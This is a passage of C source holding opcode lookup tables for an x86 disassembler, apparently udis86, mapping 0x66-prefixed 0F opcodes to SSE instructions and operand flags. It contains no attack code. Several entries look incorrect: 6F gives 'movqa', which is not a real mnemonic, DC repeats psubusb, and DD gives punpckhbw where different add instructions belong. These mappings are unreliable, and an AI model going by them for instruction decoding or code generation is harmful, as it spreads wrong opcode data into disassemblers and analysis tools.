O_NONE, O_NONE, O_NONE, P_none },\n /* B4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* ED */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__pfx_sse66__0f[256] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 08 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 09 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 10 */ { UD_Imovupd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 11 */ { UD_Imovupd, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 12 */ { UD_Imovlpd, O_V, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 13 */ { UD_Imovlpd, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 14 */ { UD_Iunpcklpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 15 */ { UD_Iunpckhpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 16 */ { UD_Imovhpd, O_V, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 17 */ { UD_Imovhpd, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 19 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 28 */ { UD_Imovapd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 29 */ { UD_Imovapd, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2A */ { UD_Icvtpi2pd, O_V, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2B */ { UD_Imovntpd, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2C */ { UD_Icvttpd2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2D */ { UD_Icvtpd2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2E */ { UD_Iucomisd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2F */ { UD_Icomisd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 40 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 41 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 42 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 43 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 44 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 45 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 46 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 47 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 48 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 49 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 50 */ { UD_Imovmskpd, O_Gd, O_VR, O_NONE, P_oso|P_rexr|P_rexb },\n /* 51 */ { UD_Isqrtpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 52 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 53 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 54 */ { UD_Iandpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 55 */ { UD_Iandnpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 56 */ { UD_Iorpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 57 */ { UD_Ixorpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 58 */ { UD_Iaddpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 59 */ { UD_Imulpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5A */ { UD_Icvtpd2ps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5B */ { UD_Icvtps2dq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5C */ { UD_Isubpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5D */ { UD_Iminpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5E */ { UD_Idivpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5F */ { UD_Imaxpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 60 */ { UD_Ipunpcklbw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 61 */ { UD_Ipunpcklwd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 62 */ { UD_Ipunpckldq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 63 */ { UD_Ipacksswb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 64 */ { UD_Ipcmpgtb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 65 */ { UD_Ipcmpgtw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 66 */ { UD_Ipcmpgtd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 67 */ { UD_Ipackuswb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 68 */ { UD_Ipunpckhbw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 69 */ { UD_Ipunpckhwd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 6A */ { UD_Ipunpckhdq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 6B */ { UD_Ipackssdw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 6C */ { UD_Ipunpcklqdq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 6D */ { UD_Ipunpckhqdq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 6E */ { UD_Imovd, O_V, O_Ex, O_NONE, P_c2|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 6F */ { UD_Imovqa, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 70 */ { UD_Ipshufd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb },\n /* 71 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSE66__0F__OP_71__REG },\n /* 72 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSE66__0F__OP_72__REG },\n /* 73 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSE66__0F__OP_73__REG },\n /* 74 */ { UD_Ipcmpeqb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 75 */ { UD_Ipcmpeqw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 76 */ { UD_Ipcmpeqd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 77 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 78 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 79 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7C */ { UD_Ihaddpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 7D */ { UD_Ihsubpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 7E */ { UD_Imovd, O_Ex, O_V, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 7F */ { UD_Imovdqa, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 80 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 81 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 82 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 83 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 84 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 85 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 86 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 87 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 88 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 89 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 90 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 91 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 92 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 93 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 94 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 95 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 96 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 97 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 98 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 99 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C0 */ { UD_Ixadd, O_Eb, O_Gb, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* C1 */ { UD_Ixadd, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* C2 */ { UD_Icmppd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb },\n /* C3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C4 */ { UD_Ipinsrw, O_V, O_Ew, O_Ib, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* C5 */ { UD_Ipextrw, O_Gd, O_VR, O_Ib, P_aso|P_rexr|P_rexb },\n /* C6 */ { UD_Ishufpd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb },\n /* C7 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSE66__0F__OP_C7__REG },\n /* C8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D0 */ { UD_Iaddsubpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D1 */ { UD_Ipsrlw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D2 */ { UD_Ipsrld, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D3 */ { UD_Ipsrlq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D4 */ { UD_Ipaddq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D5 */ { UD_Ipmullw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D6 */ { UD_Imovq, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D7 */ { UD_Ipmovmskb, O_Gd, O_VR, O_NONE, P_rexr|P_rexb },\n /* D8 */ { UD_Ipsubusb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D9 */ { UD_Ipsubusw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DA */ { UD_Ipminub, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DB */ { UD_Ipand, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DC */ { UD_Ipsubusb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DD */ { UD_Ipunpckhbw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DE */ { UD_Ipmaxub, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DF */ { UD_Ipandn, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E0 */ { UD_Ipavgb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E1 */ { UD_Ipsraw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E2 */ { UD_Ipsrad, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E3 */ { UD_Ipavgw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E4 */ { UD_Ipmulhuw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E5 */ { UD_Ipmulhw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E6 */ { UD_Icvttpd2dq, O_V, O_W, O_NONE, P_none },\n /* E7 */ { UD_Imovntdq, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E8 */ { UD_Ipsubsb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E9 */ { UD_Ipsubsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* EA */ { UD_Ipminsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* EB */ { UD_Ipor, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* EC */ { UD_Ipaddsb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* ED */ { UD_Ipaddsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* EE */ { UD_Ipmaxsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* EF */ { UD_Ipxor, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F1 */ { UD_Ipsllw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F2 */ { UD_Ipslld, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F3 */ { 